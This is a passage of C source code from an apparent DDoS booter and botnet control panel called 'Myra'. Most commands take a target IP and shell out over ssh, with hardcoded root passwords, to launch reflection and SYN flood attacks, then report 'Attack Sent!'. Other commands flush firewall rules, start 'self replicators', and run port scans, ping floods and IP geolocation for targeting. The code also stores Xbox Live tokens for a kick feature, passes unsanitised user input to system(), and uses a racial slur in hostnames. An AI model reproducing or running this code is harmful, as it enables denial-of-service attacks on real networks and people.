3816 sprintf(ipkill5, "screen -d -m sshpass -p tillwefall1234@ ssh root@nigger3 /usr/sbin/c2/amp/methods/layer4/v1/reflection/vulcan-atk/vulcan %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/vulcan-atk/vulcan.txt 8 -1 60\r\n", iptarget);
3817 sprintf(ipkill6, "screen -d -m sshpass -p tillwefall1234@ ssh root@nigger4 /usr/sbin/c2/amp/methods/layer4/v1/reflection/vulcan-atk/vulcan %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/vulcan-atk/vulcan.txt 8 -1 60\r\n", iptarget);
3818 system(ipkill); // System Execution
3819 system(ipkill2);
3820 system(ipkill3);
3821 ////system(ipkill4);
3822 system(ipkill5);
3823 system(ipkill6);
3824 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mVULCAN \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-VLCN \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m8\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3825 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3826 }
3827 if (strstr(myra_buffer_size, ".nein") || strstr(myra_buffer_size, ".NEIN")) // System Command Function
3828 {
3829 char iptarget[5000]; // Char Every Line For Output Communication
3830 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3831 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3832 trim_removev2(iptarget); // Trim [iptarget]
3833 char *ipkill[5000]; // Creating A System Function
3834 trim_removev2(ipkill); // Trim [ipkill]
3835 char *ipkill2[5000]; // Creating A System Function
3836 trim_removev2(ipkill2); // Trim [ipkill]
3837 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mNEIN \e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mNEIN \e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3838 sprintf(ipkill2, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@mainnig /usr/sbin/c2/amp/methods/layer4/v1/reflection/nein-atk/nein %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/nein-atk/nein.txt 4 -1 60\r\n", iptarget);
3839 system(ipkill); // System Execution
3840 system(ipkill2);
3841 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mNEIN \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-NEINZ\x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3842 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3843 }
3844 if (strstr(myra_buffer_size, ".zsyn") || strstr(myra_buffer_size, ".ZSYN")) // System Command Function
3845 {
3846 char iptarget[5000]; // Char Every Line For Output Communication
3847 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3848 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3849 trim_removev2(iptarget); // Trim [iptarget]
3850 char *ipkill[5000]; // Creating A System Function
3851 trim_removev2(ipkill); // Trim [ipkill]
3852 sprintf(ipkill, "./amp/methods/Bandwidth/zsyn %s 62141 2 -1 60", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
3853 system(ipkill); // System Execution
3854 sprintf(myra, " \e[38;5;225m╔══════════════════════╗\r\n \e[38;5;225m║ \e[38;5;225mAttack Sent! \e[38;5;225m║ ╔═══════════════════════════╗\r\n \e[38;5;225m║ \e[38;5;225mMethod\e[38;5;225m: \e[38;5;168mZSYN \e[38;5;225m╠══════╣ \e[38;5;168m.KILL to stop the attack! \e[38;5;225m║\r\n \e[38;5;225m║ \e[38;5;225mUsage\e[38;5;225m: \e[38;5;168mZSYN-IPHM \e[38;5;225m║ ╚═══════════════════════════╝\r\n \e[38;5;225m╚══════════════════════╝\r\n");
3855 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3856 }
3857 if (strstr(myra_buffer_size, ".issyn") || strstr(myra_buffer_size, ".ISSYN")) // System Command Function
3858 {
3859 char iptarget[5000]; // Char Every Line For Output Communication
3860 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3861 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3862 trim_removev2(iptarget); // Trim [iptarget]
3863 char *ipkill[5000]; // Creating A System Function
3864 trim_removev2(ipkill); // Trim [ipkill]
3865 sprintf(ipkill, "./amp/methods/Bandwidth/issyn.c %s 62141 2 -1 60", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
3866 system(ipkill); // System Execution
3867 sprintf(myra, " \e[38;5;225m╔══════════════════════╗\r\n \e[38;5;225m║ \e[38;5;225mAttack Sent! \e[38;5;225m║ ╔═══════════════════════════╗\r\n \e[38;5;225m║ \e[38;5;225mMethod\e[38;5;225m: \e[38;5;168mISSYN \e[38;5;225m╠══════╣ \e[38;5;168m.KILL to stop the attack! \e[38;5;225m║\r\n \e[38;5;225m║ \e[38;5;225mUsage\e[38;5;225m: \e[38;5;168mISSYN-IPHM \e[38;5;225m║ ╚═══════════════════════════╝\r\n \e[38;5;225m╚══════════════════════╝\r\n");
3868 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3869 }
3870 if (strstr(myra_buffer_size, ".killer") || strstr(myra_buffer_size, ".killer")) // System Command Function -- [TESTING HERE]
3871 {
3872 if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
3873 {
3874 char outt [500];
3875 sprintf(outt, "\e[38;5;225mMyra \e[38;5;134mis \e[38;5;225mkilling \e[38;5;168mconcurrent connections\e[38;5;225m..\r\n");
3876 if(send(clear_myra_broadcast, outt, strlen(outt), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3877 sleep(2);
3878 char text [500];
3879 sprintf(text, "\e[38;5;225mMyra \e[38;5;134mhas \e[38;5;168mkilled \e[38;5;134m[\e[38;5;168m%d\e[38;5;134m] connections \e[38;5;134msuccessfully \e[38;5;225m!\r\n", myra_clients_connected());
3880 if(send(clear_myra_broadcast, text, strlen(text), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3881 char command[500];
3882 trim_removev2(command);
3883 strcpy(command, "screen -d -m sshpass -p hahahackme1234@12 ssh -t root@51.161.105.88 pkill screen" );
3884 system(command);
3885 }
3886 else
3887 {
3888 char sauce [50];
3889 sprintf(sauce, "\e[38;5;93mOwners Only!!\r\n");
3890 if(send(clear_myra_broadcast, sauce, strlen(sauce), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3891 }
3892 }
3893 if (strstr(myra_buffer_size, ".reverse") || strstr(myra_buffer_size, ".REVERSE")) // System Command Function -- [TESTING HERE]
3894 {
3895 if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
3896 {
3897 char outt [500];
3898 sprintf(outt, "\e[38;5;225mMyra \e[38;5;134mis \e[38;5;225mreversing \e[38;5;168mprotection procedures\e[38;5;225m..\r\n");
3899 if(send(clear_myra_broadcast, outt, strlen(outt), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3900 sleep(2);
3901 char text [500];
3902 sprintf(text, "\e[38;5;225mMyra \e[38;5;134mhas \e[38;5;168mreleased \e[38;5;225mMyra Safe Mode \e[38;5;134msuccessfully \e[38;5;225m!\r\n");
3903 if(send(clear_myra_broadcast, text, strlen(text), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3904 char command[500];
3905 trim_removev2(command);
3906 strcpy(command, "iptables -F" );
3907 system(command);
3908 }
3909 else
3910 {
3911 char sauce [50];
3912 sprintf(sauce, "\e[38;5;168mYou do not have permission for this\e[38;5;225m.\r\n");
3913 if(send(clear_myra_broadcast, sauce, strlen(sauce), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3914 }
3915 }
3916 if (strstr(myra_buffer_size, ".protect") || strstr(myra_buffer_size, ".PROTECT")) // System Command Function -- [TESTING HERE]
3917 {
3918 if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
3919 {
3920 char outt [500];
3921 sprintf(outt, "\e[38;5;225mMyra \e[38;5;134mis \e[38;5;225mrunning \e[38;5;168mprotection procedures\e[38;5;225m..\r\n");
3922 if(send(clear_myra_broadcast, outt, strlen(outt), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3923 sleep(2);
3924 char text [500];
3925 sprintf(text, "\e[38;5;225mMyra \e[38;5;134mhas \e[38;5;168mbooted \e[38;5;225mMyra Safe Mode \e[38;5;134msuccessfully \e[38;5;225m!\r\n");
3926 if(send(clear_myra_broadcast, text, strlen(text), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3927 char command[500];
3928 trim_removev2(command);
3929 strcpy(command, "bash protect.sh; yum remove wget -y; rm -rf mra.c" );
3930 system(command);
3931 }
3932 else
3933 {
3934 char sauce [50];
3935 sprintf(sauce, "\e[38;5;168mMyra \e[38;5;225msafe mode \e[38;5;168mshould only be ran in \e[38;5;225memergencies \e[38;5;134m!\r\n");
3936 if(send(clear_myra_broadcast, sauce, strlen(sauce), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3937 }
3938 }
3939 if (strstr(myra_buffer_size, ".scan") || strstr(myra_buffer_size, ".SCAN")) // System Command Function -- [TESTING HERE]
3940 {
3941 if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
3942 {
3943 char text [500];
3944 char command[500];
3945 trim_removev2(command);
3946 strcpy(command, "screen -d -m sshpass -p hahahackme1234@12 ssh -t root@51.161.105.88 timeout 30 watch -n 0.1 screen -d -m ssh -p 23 myra.sh" );
3947 system(command);
3948 sprintf(text, "\e[38;5;225mMyra \e[38;5;134mhas \e[38;5;168msuccessfully \e[38;5;134mstarted [\e[38;5;168m19\e[38;5;134m] self replicators\e[38;5;225m.\r\n");
3949 if(send(clear_myra_broadcast, text, strlen(text), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3950 }
3951 else
3952 {
3953 char sauce [50];
3954 sprintf(sauce, "\e[38;5;93mOwners Only!!\r\n");
3955 if(send(clear_myra_broadcast, sauce, strlen(sauce), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3956 }
3957 }
3958 int result;
3959 if (strstr(myra_buffer_size, ".attacks") || strstr(myra_buffer_size, ".ATTACKS"))
3960 {
3961 FILE *fp;
3962 char *ip[5000];
3963 char path[5000];
3964 /* Open the command for reading. */
3965 sprintf(ip, "cd /var/run/screen/S-root; ls -1 | wc -l");
3966 fp = popen(ip, "r");
3967 if (fp == NULL) {
3968 printf("Failed to run command\n");
3969 exit(1);
3970 }
3971 /* Read the output a line at a time - output it. */
3972 while (fgets(path, sizeof(path), fp) != NULL) {
3973 char puta [5000];
3974 result = atoi(path) - 1;
3975 c = result / 2;
3976 sprintf(puta, "\r\e[38;5;134mThere are \e[38;5;225m[\e[38;5;168m%d\e[38;5;225m] \e[38;5;134mattacks currently running on \e[38;5;168mMyra\e[38;5;134m.\r\n", c);
3977 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
3978 }
3979 /* close */
3980 pclose(fp);
3981 //sprintf(myra, "\r \e[38;5;134mMyra has finished scanning successfully!\r\n");
3982 //if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
3983 }
3984 if (strstr(myra_buffer_size, ".nmap") || strstr(myra_buffer_size, ".nmap"))
3985 {
3986 char iptarget[5000];
3987 char *token = strtok(myra_buffer_size, " ");
3988 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1);
3989 trim_removev2(iptarget);
3990 FILE *fp;
3991 char *ip[5000];
3992 char path[5000];
3993 /* Open the command for reading. */
3994 sprintf(ip, "nmap -vv -dd -p1-65535 --reason -r %s", iptarget);
3995 fp = popen(ip, "r");
3996 if (fp == NULL) {
3997 printf("Failed to run command\n");
3998 exit(1);
3999 }
4000 /* Read the output a line at a time - output it. */
4001 while (fgets(path, sizeof(path), fp) != NULL) {
4002 char puta [5000];
4003 sprintf(puta, "\r \e[38;5;225m%s", path);
4004 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
4005 }
4006 /* close */
4007 pclose(fp);
4008 sprintf(myra, "\r \e[38;5;134mMyra has finished scanning successfully!\r\n");
4009 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4010 }
4011 if (strstr(myra_buffer_size, ".iplookup") || strstr(myra_buffer_size, ".IPLOOKUP"))
4012 {
4013 char iptarget[5000];
4014 char *token = strtok(myra_buffer_size, " ");
4015 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1);
4016 trim_removev2(iptarget);
4017 if (strlen(iptarget) > 39) {
4018 sprintf(myra, "\e[38;5;134mInvalid IP Address!!\r\n");
4019 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
4020 } else {
4021 // FILE *fp;
4022 // char *ip[5000];
4023 // char path[5000];
4024 // /* Open the command for reading. */
4025 // sprintf(ip, "python iplookup.py -i %s", iptarget);
4026 // fp = popen(ip, "r");
4027 // if (fp == NULL) {
4028 // printf("Failed to run command\n");
4029 // exit(1);
4030 // }
4031 // Read the output a line at a time - output it.
4032 // while (fgets(path, sizeof(path), fp) != NULL) {
4033 // char puta [5000];
4034 // sprintf(puta, "\r \e[38;5;225m%s", path);
4035 // if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
4036 // }
4037 // /* close */
4038 // pclose(fp);
4039 GeoIPInfo geo_ip_info = ip_info(iptarget);
4040
4041 char status [120];
4042 char message [120];
4043 char ip [120];
4044 char host [120];
4045 char as [120];
4046 char asname [120];
4047 char isp [120];
4048 char org [120];
4049 char countrycode [120];
4050 char country [120];
4051 char city [120];
4052 char district [120];
4053 char region [120];
4054 char regionname [120];
4055 char currency [120];
4056 char zip [120];
4057 char time [120];
4058 char lon [120];
4059 char lat [120];
4060 char mobile [120];
4061 char proxy [120];
4062
4063 sprintf(status, "\e[38;5;225m║ \e[38;5;168mStatus\e[38;5;134m........\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.status);
4064 if(send(clear_myra_broadcast, status, strlen(status), MSG_NOSIGNAL) == -1) return;
4065
4066 if (strstr(geo_ip_info.status, "success") == NULL) {
4067 sprintf(message, "\e[38;5;168mError\e[38;5;134m.........\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.message);
4068 if(send(clear_myra_broadcast, message, strlen(message), MSG_NOSIGNAL) == -1) return;
4069 } else {
4070 sprintf(ip, "\e[38;5;225m║ \e[38;5;168mIP\e[38;5;134m............\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.query);
4071 sprintf(host, "\e[38;5;225m║ \e[38;5;168mHostname\e[38;5;134m......\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.reverse);
4072 sprintf(as, "\e[38;5;225m║ \e[38;5;168mAS\e[38;5;134m............\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.as);
4073 sprintf(asname, "\e[38;5;225m║ \e[38;5;168mAS Name\e[38;5;134m.......\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.as_name);
4074 sprintf(isp, "\e[38;5;225m║ \e[38;5;168mISP\e[38;5;134m...........\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.isp);
4075 sprintf(org, "\e[38;5;225m║ \e[38;5;168mOrganisation\e[38;5;134m..\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.org);
4076 sprintf(countrycode, "\e[38;5;225m║ \e[38;5;168mCountry Code\e[38;5;134m..\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.country_code);
4077 sprintf(country, "\e[38;5;225m║ \e[38;5;168mCountry\e[38;5;134m.......\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.country);
4078 sprintf(city, "\e[38;5;225m║ \e[38;5;168mCity\e[38;5;134m..........\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.city);
4079 sprintf(district, "\e[38;5;225m║ \e[38;5;168mDistrict\e[38;5;134m......\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.district);
4080 sprintf(region, "\e[38;5;225m║ \e[38;5;168mRegion\e[38;5;134m........\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.region);
4081 sprintf(regionname, "\e[38;5;225m║ \e[38;5;168mRegion Name\e[38;5;134m...\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.region_name);
4082 sprintf(currency, "\e[38;5;225m║ \e[38;5;168mCurrency\e[38;5;134m......\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.currency);
4083 sprintf(zip, "\e[38;5;225m║ \e[38;5;168mZip\e[38;5;134m...........\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.zip);
4084 sprintf(time, "\e[38;5;225m║ \e[38;5;168mTime Zone\e[38;5;134m.....\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.timezone);
4085 sprintf(lon, "\e[38;5;225m║ \e[38;5;168mLongitude\e[38;5;134m.....\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.lon);
4086 sprintf(lat, "\e[38;5;225m║ \e[38;5;168mLatitude\e[38;5;134m......\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.lat);
4087 sprintf(mobile, "\e[38;5;225m║ \e[38;5;168mMobile\e[38;5;134m........\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.mobile ? "Detected" : "N/A");
4088 sprintf(proxy, "\e[38;5;225m║ \e[38;5;168mProxy\e[38;5;134m.........\e[38;5;168m: \e[38;5;225m%s\r\n", geo_ip_info.proxy ? "Detected" : "N/A");
4089 if(send(clear_myra_broadcast, ip, strlen(ip), MSG_NOSIGNAL) == -1) return;
4090 if(send(clear_myra_broadcast, host, strlen(host), MSG_NOSIGNAL) == -1) return;
4091 if(send(clear_myra_broadcast, as, strlen(as), MSG_NOSIGNAL) == -1) return;
4092 if(send(clear_myra_broadcast, asname, strlen(asname), MSG_NOSIGNAL) == -1) return;
4093 if(send(clear_myra_broadcast, isp, strlen(isp), MSG_NOSIGNAL) == -1) return;
4094 if(send(clear_myra_broadcast, org, strlen(org), MSG_NOSIGNAL) == -1) return;
4095 if(send(clear_myra_broadcast, countrycode, strlen(countrycode), MSG_NOSIGNAL) == -1) return;
4096 if(send(clear_myra_broadcast, country, strlen(country), MSG_NOSIGNAL) == -1) return;
4097 if(send(clear_myra_broadcast, city, strlen(city), MSG_NOSIGNAL) == -1) return;
4098 if(send(clear_myra_broadcast, district, strlen(district), MSG_NOSIGNAL) == -1) return;
4099 if(send(clear_myra_broadcast, region, strlen(region), MSG_NOSIGNAL) == -1) return;
4100 if(send(clear_myra_broadcast, regionname, strlen(regionname), MSG_NOSIGNAL) == -1) return;
4101 if(send(clear_myra_broadcast, currency, strlen(currency), MSG_NOSIGNAL) == -1) return;
4102 if(send(clear_myra_broadcast, zip, strlen(zip), MSG_NOSIGNAL) == -1) return;
4103 if(send(clear_myra_broadcast, time, strlen(time), MSG_NOSIGNAL) == -1) return;
4104 if(send(clear_myra_broadcast, lon, strlen(lon), MSG_NOSIGNAL) == -1) return;
4105 if(send(clear_myra_broadcast, lat, strlen(lat), MSG_NOSIGNAL) == -1) return;
4106 if(send(clear_myra_broadcast, mobile, strlen(mobile), MSG_NOSIGNAL) == -1) return;
4107 if(send(clear_myra_broadcast, proxy, strlen(proxy), MSG_NOSIGNAL) == -1) return;
4108 }
4109 }
4110 }
4111 if (strstr(myra_buffer_size, ".whois") || strstr(myra_buffer_size, ".WHOIS"))
4112 {
4113 char iptarget[5000];
4114 char *token = strtok(myra_buffer_size, " ");
4115 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1);
4116 trim_removev2(iptarget);
4117 FILE *fp;
4118 char *ip[5000];
4119 char path[5000];
4120 /* Open the command for reading. */
4121 sprintf(ip, "whois %s", iptarget);
4122 fp = popen(ip, "r");
4123 if (fp == NULL) {
4124 printf("Failed to run command\n");
4125 exit(1);
4126 }
4127 /* Read the output a line at a time - output it. */
4128 while (fgets(path, sizeof(path), fp) != NULL) {
4129 char puta [5000];
4130 sprintf(puta, "\r \e[38;5;225m%s", path);
4131 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
4132 }
4133 /* close */
4134 pclose(fp);
4135 sprintf(myra, "\r \e[38;5;134mWHOIS Search Finished Successfully !\r\n");
4136 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4137 }
4138 if (strstr(myra_buffer_size, ".tcp-ping") || strstr(myra_buffer_size, ".TCP-PING"))
4139 {
4140 char iptarget[5000];
4141 char *token = strtok(myra_buffer_size, " ");
4142 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1);
4143 trim_removev2(iptarget);
4144 FILE *fp;
4145 char *ip[5000];
4146 char path[5000];
4147 /* Open the command for reading. */
4148 sprintf(ip, "timeout 60 nping --tcp -p %s -c 1000", iptarget);
4149 fp = popen(ip, "r");
4150 if (fp == NULL) {
4151 printf("Failed to run command\n");
4152 exit(1);
4153 }
4154 /* Read the output a line at a time - output it. */
4155 while (fgets(path, sizeof(path), fp) != NULL) {
4156 char puta [5000];
4157 sprintf(puta, "\r \e[38;5;225m%s", path);
4158 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
4159 }
4160 /* close */
4161 pclose(fp);
4162 sprintf(myra, "\r \e[38;5;134mSubstrate has closed your ping successfully !\r\n");
4163 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4164 }
4165 if (strstr(myra_buffer_size, ".udp-ping") || strstr(myra_buffer_size, ".UDP-PING"))
4166 {
4167 char iptarget[5000];
4168 char *token = strtok(myra_buffer_size, " ");
4169 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1);
4170 trim_removev2(iptarget);
4171 FILE *fp;
4172 char *ip[5000];
4173 char path[5000];
4174 /* Open the command for reading. */
4175 sprintf(ip, "timeout 60 nping --udp -p %s -c 1000", iptarget);
4176 fp = popen(ip, "r");
4177 if (fp == NULL) {
4178 printf("Failed to run command\n");
4179 exit(1);
4180 }
4181 /* Read the output a line at a time - output it. */
4182 while (fgets(path, sizeof(path), fp) != NULL) {
4183 char puta [5000];
4184 sprintf(puta, "\r \e[38;5;225m%s", path);
4185 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
4186 }
4187 /* close */
4188 pclose(fp);
4189 sprintf(myra, "\r \e[38;5;134mSubstrate has closed your ping successfully !\r\n");
4190 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4191 }
4192 if (strstr(myra_buffer_size, ".arp-ping") || strstr(myra_buffer_size, ".ARP-PING"))
4193 {
4194 char iptarget[5000];
4195 char *token = strtok(myra_buffer_size, " ");
4196 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1);
4197 trim_removev2(iptarget);
4198 FILE *fp;
4199 char *ip[5000];
4200 char path[5000];
4201 /* Open the command for reading. */
4202 sprintf(ip, "timeout 60 nping --arp %s -c 1000", iptarget);
4203 fp = popen(ip, "r");
4204 if (fp == NULL) {
4205 printf("Failed to run command\n");
4206 exit(1);
4207 }
4208 /* Read the output a line at a time - output it. */
4209 while (fgets(path, sizeof(path), fp) != NULL) {
4210 char puta [5000];
4211 sprintf(puta, "\r \e[38;5;225m%s", path);
4212 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
4213 }
4214 /* close */
4215 pclose(fp);
4216 sprintf(myra, "\r \e[38;5;134mSubstrate has closed your ping successfully !\r\n");
4217 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4218 }
4219 if (strstr(myra_buffer_size, ".icmp-ping") || strstr(myra_buffer_size, ".ICMP-PING"))
4220 {
4221 char iptarget[5000];
4222 char *token = strtok(myra_buffer_size, " ");
4223 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1);
4224 trim_removev2(iptarget);
4225 FILE *fp;
4226 char *ip[5000];
4227 char path[5000];
4228 /* Open the command for reading. */
4229 sprintf(ip, "timeout 60 nping --icmp %s -c 1000", iptarget);
4230 fp = popen(ip, "r");
4231 if (fp == NULL) {
4232 printf("Failed to run command\n");
4233 exit(1);
4234 }
4235 /* Read the output a line at a time - output it. */
4236 while (fgets(path, sizeof(path), fp) != NULL) {
4237 char puta [5000];
4238 sprintf(puta, "\r \e[38;5;225m%s", path);
4239 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
4240 }
4241 /* close */
4242 pclose(fp);
4243 sprintf(myra, "\r \e[38;5;134mSubstrate has closed your ping successfully !\r\n");
4244 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4245 }
4246
4247 /* Myra's Xbox Live Kick Function II. */
4248
4249 if (strstr(myra_buffer_size, ".xbox-token") || strstr(myra_buffer_size, ".XBOX-TOKEN"))
4250 {
4251 char iptarget[5000];
4252 char *token = strtok(myra_buffer_size, " ");
4253 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1);
4254 trim_removev2(iptarget);
4255 char xboxtokencommand [3000];
4256 char xboxtokenverification [158];
4257 sprintf(xboxtokencommand, "echo -ne '%s'>xbox-users/\"%s\"/tokendata.txt", iptarget, accounts[find_line].username);
4258 system(xboxtokencommand);
4259 sprintf(xboxtokenverification, "\e[38;5;134mYour \e[38;5;168mXbox\e[38;5;225m-\e[38;5;168mLive \e[38;5;134mauthorization token has been refreshed \e[38;5;225msuccessfully \e[38;5;168m!\r\n");
4260 if(send(clear_myra_broadcast, xboxtokenverification, strlen(xboxtokenverification), MSG_NOSIGNAL) == -1) return;
4261 }
4262 if (strstr(myra_buffer_size, ".xbox-gamertag") || strstr(myra_buffer_size, ".XBOX-GAMERTAG"))
4263 {
4264 char iptarget[5000];
4265 char *token = strtok(myra_buffer_size, " ");
4266 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1);
4267 trim_removev2(iptarget);
4268 char xboxtokencommand [850];
4269 char xboxtokenverification [158];
4270 sprintf(xboxtokencommand, "echo -ne '%s'>xbox-users/\"%s\"/gamertag.txt", iptarget, accounts[find_line].username);
4271 system(xboxtokencommand);
4272 sprintf(xboxtokenverification, "\e[38;5;134mYour \e[38;5;168mXbox\e[38;5;225m-\e[38;5;168mLive \e[38;5;134mgamertag has been refreshed \e[38;5;225msuccessfully \e[38;5;168m!\r\n");
